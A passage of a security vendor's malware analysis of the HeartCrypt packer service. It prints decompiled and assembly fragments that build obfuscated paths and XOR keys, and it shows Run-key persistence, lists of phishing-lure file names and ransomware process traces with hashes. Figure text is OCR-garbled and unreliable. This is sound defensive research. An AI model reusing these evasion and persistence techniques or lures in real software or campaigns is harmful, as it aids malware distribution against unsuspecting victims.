9| *(_WORD *)(a2 - 18770) = 'W';

18| *(_WORD *)(z2 - 10768) = 'i';

11| *(_WORD *)(z2 - 10766) = 'n';

12| *(_WORD *)(z2 - 10764) = 'd';

13| *(_WORD *)(z2 - 10762) = 'o';

14| *(_WORD *)(z2 - 10768) = 'w';

15| *(_WORD *)(z2 - 10758) = 's';

16| *(_WORD *)(22 - 1@756) = "\\';

17| *(_WORD *)(22 - 10754) = 'M';

18| *(_WORD *)(22 - 1@752) = 'i';

19| *(_WORD *)(z2 - 10758) = 'c';

26| *(_WORD *)(z2 - 10748) = 'r';

21| *(_WORD *)(22 - 10746) = '0';

22| *(_WORD *)(a2 - 18744) = 's'; Sophos
23| *(_WORD *)(22 - 10742) = 'o';

24| *(CWORD *)(a2 - 10740) = 'f'; _0 S
25| *(_WORD *)(22 - 10738) = 't'; p
S&l #( wnBn KVF2o - 18728 -

Figure 25: Note the obfuscation of the filepath
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loc_4DED7A: 5 CODE XREF: sub_4DECE4+9@1J

or eax, 5B8Eh
pop eax
mov byte ptr [ebp-1398h], 64h ; 'd' ; XORkey
mov byte ptr [ebp-1397h], 65h ; ‘e’
mov byte ptr [Rebp-1396h], 4Eh ; 'N'
mov byte ptr -1395h], 47h ; 'G'
mov byte ptr p-1394h], 45h ; 'E’
mov byte ptr [ebp-1393h], 32h ; '2°
mov byte ptr [ebp-1392h], 76h ; 'v'
mov byte ptr [ebp-1391h], 6Fh ; 'o'
mov byte ptr [ebp-1390h], 4Eh ; "N’
mov byte ptr [ebp-138Fh], 76h ; 'v'
mov byte ptr [ebp-138Eh], 6Fh ; 'o'
mov byte ptr [ebp-138Dh], ©
2] mov dword ptr [ebp-3544h], @Bh
push ecx
add ecx, 125CDh Sophos
or ecx, 12B93h
call  sub_4DEDFB -0ps

Figure 26: The further obfuscation observed is Figure 25 is still visible at the top, but the real action is near the bottom
of the image

Figure 27 shows another binary with the obfuscated payload revealed:

®ire Explorer - C:\temp\msimg32.dIl - o X
File  View Tools Help

A8 W OES IVNNET NS MW @

o2 X 0

+ WEVT_TEMPLATE
£ Cursor Entry

= Bitmap

o B

m F30

i F3

@ F32 v T SYaLIES
m F33 ? 2 VepoenTvPts \‘]I'mvllhl"u‘:’:]: II::JII'
m FM q v P sYgPue |.s
Icon Enlry v
Accelerators

Message Table

Group Cursor

Group Icon

Version

Manifest Sophos

Figure 27: The binary, a DLL called msimg32.dll

The payload is encrypted by a XOR algorithm that uses a key consisting of ASCII characters. The key is easily visible
around the end of the file, where a large number of zero bytes are in the original payload. In this case, the XOR key is
the string PuevQTvPCsYyg, as visible from the multiple consecutive occurrences at the end of the resource.

07921680 | 17921680 | }_xHIMalBh{Ke THIN 1.h K1_<HSHI1Fh? EH
079716C0 | 179716C0 | iMO1JhoKi eHIH 16hZKa_ZHeOUn~ 031" ﬂL)UHnUngg .LUUenHLhJL IL Uin
0797217200 | 17971700 LiM="8L 0-n=inJ " gL §04n i™-"9L=02n3i-JB “GLMOGn¥iAJE “ALcliniied
07921740 | 172921740 !LoUnnH11JY]TUnL]anHIH]LﬂELun JoIl]dﬂ]Lnan 141-05L$n.j 19140 |
079717280 | 17971780 =n$j71!1,00L 'nujiilg]-02L=nije 1130 LanEjo 1d]110aLAnvPCS g uev(d
0792172C0 | 17297217C0 | vPCsYgPuev(TvPCsYgPuev(TyPCsYgPuev(TvPCsYgPuev(TvPLsYgPuev(TePCs
07971800 | 17971800 | YgPuev(QTvPCs¥gPuev(QTyPCsYgPuev(TyPCsYagPuev(QTyPCsYgPuev(TvPCsYgPu
07971840 | 17971840 | evQTvPCsYgPuev(TyPCsYgPuevw(TyPCsYgPuey(TyPCsYgPuey(TyPCsYgPuey(T
07971880 | 17971880 | vPCsYgPuev(QTvPCsYgPuevQTyPCsYgPuev(TyPCsYgPuev()TvPCsYgPuey(TvPCs
079718C0 | 179718C0 | YgPuev(QTvPCsYgPuev(TvPCsYgPuev()TvPCsYgPuev(TvPCsYgPuev(TyPCsYgPu
07971900 | 17971900 | ev(QTvPCsYgPuev(TvPCsYgPuev(TvPCs YunevOTvPCsYunevUTvPCsYunevUT
07971940 | 17971940 | vPCsYgPuev(QTvPCsYgPuev(TyPCsYgPuev(TyPCsYgPuev(TvPCsYg ﬁ&ops

Figure 28: After a large block of nonsense, the XOR key appears, and appears, and appears

There are a couple of additional resources that contain our PIC shellcodes.

(£ MRS o0 R

-] WEVT_TEMPLATE 07973078 | 17973078
E B 7973088
+ Cursor Entry ; }."II ‘:"rx
-7 Bitmap 38 | 17973138
3 E301 7 17973178
o] F30) ’ Tare | 15

@ F31
@ F32 Sophos

797328 “RIPO86Z igks Vi ’ ADHHEF
m F33 ~0ps s 7 “ 5 PS3—i008
m F34 p P i3 il -4 »$ W34 ig8 1]

Figure 29: Also within the Bitmap directory, the PIC shellcodes

To establish persistence, the loader creates a copy of the malicious file within another directory — in this example, in
\Pictures\HomeDeporte\Bin\HomeDeporte.exe. It then proceeds to create a run key in the
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\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry location, as shown in Figure 30.

130| *(_WORD *)(a2 - 999@) = 's'; Sophos
131| *(_WORD *)(a2 - 9988) = '\\';

132 *(_WORD *)(a2 - 9986) = 'C'; -OpS
133| *(_WORD *)(a2 - 9984) = 'u';

134| =(_WORD *)(a2 - 9982) = 'r';

135| =(_WORD *)(a2 - 998@) = 'r';

136 *(_WORD *)(a2 - 9978) = 'e';

137| *(_WORD *)(a2 - 9976) = 'n';

138| =(_WORD *)(a2 - 9974) = 't';

139| *(_WORD *)(a2 - 9972) = 'V';

148 *(_WORD *)(a2 - 997@) = 'e';

141| *(_WORD *)(a2 - 9968) = 'r';

142| =(_WORD *)(a2 - 9966) = 's';

143| *(_WORD *)(a2 - 9964) = 'i';

144| *(_WORD *)(a2z - 9962) = 'o';

145| *(_WORD *)(a2 - 996@) = 'n';

146| *(_WORD *)(a2 - 9958) = '\\';

147| *(_WORD *)(a2 - 9956) = 'R';

148| *(_WORD *)(a2 - 9954) = 'u';

149| =(_WORD *)(a2 - 9952) = 'n';

156| *(_WORD *)(a2 - 995@) = '\@';

151 *(_DWORD *)(a2 - 3968) = '\@';

152| strepy((char *)(22 - 380@), "RegOpenKeyExW");

Figure 30: The run key

Payloads

In the vast majority of the cases we have seen over time, the payloads are off-the-shelf RATs or credentials/info
stealers, though as one would expect this has evolved. Figure 31 looks back at the payloads of an earlier HeartCrypt
era. By mid-2025, the presence of certain malware families had contracted, while less-prevalent entities such as
AVKiller have grown in prevalence. (More on AVKlller in a second.) Discovered C2 servers correspond fairly closely to
the payloads we saw.

One specific look at the data over time gives what may well be a glimpse at the origins of HeartCrypt itself, as shown

in Figure 31.
AV RedLine /,J\madey
V::/:r Killer 1% /,/// 1% —Other Remcos
- 2% DeveloperTest - _— 1% . 30%
) ~_ 1% \/ - pd
Lumma Stealer
19%
Sophos
-Ops

Distribution of HeartCrypt payloads (first four months of observations)

Figure 31: A look at the early days of HeartCrypt may show an artifact of the development of the PaasS itself, soon to
be statistically lost in the sea of data

One tiny sliver of the pie above belongs to a payload called “DeveloperTest.” In that case the payload was a simple
executable that didn’t perform anything malicious, simply displaying a message box. We think that DeveloperTest was
exactly what the name claimed it to be — created by the developer of the packer and used to test the detection
capabilities of security solutions. It is, in a sense, HeartCrypt’s origin story.

About AVKiller

We have seen one payload of particular concern — an AV killer tool among the payloads. In multiple cases, this tool
was detected during an ongoing ransomware attack. We wrote about HeartCrypt's targeting of EDR in depth earlier
this year; as we noted in that post, one of the concerning aspects of that investigation was the evidence we (and
others) found for tool sharing and even cooperation between competing adversary groups. At this writing we have no
further developments to report on that front (though if this exchange is any indication, there’s a woozy sense of
camaraderie afoot in the darker corners of the internet ), but we will note that frank public discussion of the situation
has been heartening and can only lead to fruitful discussions among defenders.
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Sophos customers are protected from that threat by our Mal/HCrypt detections.

Targeted countries

In many cases the payload was delivered in archives or executables which had file names that served the purpose of
social engineering, aligning with the theme of the phishing messages.

These file names were in multiple different languages as we saw above, which is why we think that multiple countries
were specifically targeted in the campaigns.

We have found a lot of files on VirusTotal in which the language of the file name matched the submitter country. We
believe those to have originated with real-life campaigns.

A sampling of typical file names for different countries:
Argentina:

ANEXO - INF-DETALLES
TRANSACCION REALIZADA NO 9876987565745678997865635746859.exe

Brazil:
Referencia Judicial Procesada N#847567567..exe
Colombia:

AUTENTICACION DE PROCESO ANTES EL JUEZ DANIEL CASTRO.exe
Ref del proceso fiscal que se adelanta en su contra.exe
Radicado Juridico Procesado N#9846738960489..exe

SOPORTE IMPORTANTE PARA CANCELAR EL DIA 17 DE ABRIL.exe

France:

Documents prouvant la violation du droit d'auteur fournis par Sony Music.zip
Documents constatant les violations des droits d'utilisation.zip

Greece:

Eyypaga mov avtikatontpifovv moapoBiaon MVEVHATIKOY O 1KALWHATWY .exe
Epevvntikd LA1ké mapéxetat and tnv FM Records.exe

xtzol W80l MEAES SHEILICH - Y6 AEEQIBE |, Inc.exe

MEH H3 FEIX exe
ol Ye =5 o M DX - BROZHAIAYR(R).exe
Kazakhstan:

gb [loroBop Ha OKa3aHWe peKflaMHbIX YCnyr.scr
Mexico

PDF-34957637453 ALMACEN DEL HOSPITAL LOCAL - URGENTE CONFIRMACION.exe
NOTIFICACION JUDICIALDE PROCESO EN MORA DEL PAGO.exe

Peru:

PDF-34957637453 ALMACEN DEL HOSPITAL LOCAL - URGENTE CONFIRMACION.exe
NOTIFICACION JUDICIALDE PROCESO EN MORA DEL PAGO.exe

Romania:
27410fxSentencclaTutelaRadicado70001 4226 004 2024 07324 00.exe
Russia:

LoroBop 06 OKa3aHUM peKNaMHbIX YCHyr.scr
[loroBop O NapTHeEpPCTBE.EXe

Taiwan:
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Bottega Veneta MIEHARNAERZIChRME . exe

Thai:

wanansiiaadiasiunisaziianiwddunnotleyeyn . pdf

The Netherlands:

Bewijs met betrekking tot inbreuk op auteursrechten.zip
Ukraine:

[loroBop 0 MapTHepcTBe.exe
vivo forosop gna WTybepoB.scr

The countries where Sophos identified ITW infections are shown in the world map in Figure 32.

Figure 32: A little bit of misery in every hemisphere

By far the most samples were reported from Colombia, the primary target area of these campaigns.

Miscellaneous findings
Encryption keys

The XOR encryption keys used for the payload are usually just random character strings. But in a few cases the
threat actors may have gotten bored or emotional, resulting in keys like these:

ANDREYISNOTHAPPEITE
SUCKTHEFTUBCEGTOOTE
MENOLOVECROWDSTRIKE
FmCKUNERDHAHAHAHA
Edwardsigunecia
fmckSsentinc

Selecting passwords like this usually reflects the frustration of the criminals.
Ransomware connections

Ransomhub

This case is similar to one mentioned above, in which the HeartCrypt packed dropper drops a VMProtect packed AV
killer executable that loads a driver signed by a compromised signature.

In this case the following ransomware alert was observed:

Mitigation CryptoGuard V5

Policy CryptoGuard

Timestamp 2025-01-20T11:59:18

Path: C:\FoPefI.ex

Hash: eled281c521ad72484c7e5e74e50572b48ea945543c6bcbd480f698c2812cdfe

Ransom note:
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README_0416f0. txt
Appended file extension:
.04160

The process trace:

1 C:\FoPefI.exe [64500]

C:\FoPefI.exe -only-local -pass
b65fceal75dd7a62dbbfc737dce6cd4lab3cdbbf4al9ffclbcl19d4be9a8leabs
2 C:\Windows\System32\services.exe [1004] *

3 C:\Windows\System32\wininit.exe [900] *
wininit.exe

Along with that we once again observed the HeartCrypt-packed AVKiller tool:

Malware name: Mal/HCrypt-A
Name: c:\users\{}\desktop\vp4n.exe
"sha256"

"c793304fabb09bb631610F17097b2420ee0209bab87bb2e6811d24b252a1b05d",
And the coupled driver:

Malware name: Mal/Isher-Gen

Name: c:\users\{}\desktop\zsogd.sys
c:\users\en-adm\desktop\zsogd.sys :
2a99b6c308d07acac8c7066c29d44442054815e62ea9a3f21cc22cdecO080bc8

MedusalLocker

Here we saw a DynamicShellcode alert:

Mitigation DynamicShellcode

Policy HeapHeapHooray

Timestamp 2025-01-22T09:53:42

Name: Setup/Uninstall

Path: c:\temp\6Vwq.exe

SHA-256 43cd3f8675e25816619f77b047ea5205b6491137c5b77cce058533a07bdc998
SHA-1 d58dade6ea®3af145d29d896f56b2063e2b078a4

MD5 b59d7c331e96be96bcfa2633b5f32f2c

The process trace:

1 C:\temp\6Vwqg.exe [13296]
2 C:\Windows\System32\cmd.exe [16536] *

cmd.exe /c start c:\temp\6Vwqg.exe
3 C:\ProgramData\JWrapper-Remote Access\JIWrapper-Windows64JRE-00000000000 -
complete\bin\Remote Access.exe [7864] *

"C:\Programbata\JWrapper-Remote Access\IWrapper-Windows64JRE-00000000000-
complete\bin\Remote Access.exe" "-cp" "C:\ProgramData\JWrapper-Remote Access\JIWrapper-
Remote Access-00056451424-complete\customer.jar;C:\ProgramData\JWrapper-Remote
Access\JIWrapper-Re

The process trace indicates that the initial infection could be related to the zero-day RCE exploits from Horizon3.ai
wrote about back in January, which affected ConnectWise and BeyondTrust products.

This activity was followed by the use of this file:

2025-01-22 10:04:12 Mal/Medusa-C <d>/Windows/Temp/MilanoSoftware.exe
"hash": "3a6d5694eec724726efa3327a50fad3efdc623c08d647b51e51cd578bddda3da",

43cd3f8675e25816619f77b047ea5205b6491137c5b77cce058533a07bdc9f98 was later found on VT. It is packed with
HeartCrypt. The extracted payload had the hash

a442a98dd837010265e4af1782b57989de07949f0c704a6325f75af956¢cc85de

This is the AVKiller again, packed this time with VMProtect and specifically targeting Eset, HitManPro, Kaspersky,
Sophos, and Symantec products.
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Conclusion

HeartCrypt is no longer the new PaaS hotness; others such as Shanya are the fresh topic of discussion in researcher
circles. And yet HeartCrypt is succeeding perhaps where it matters, as it continues to propagate more widely than
ever. Understanding the mechanics of malware of this sort means that protections, like the threats themselves, can
continue to evolve.
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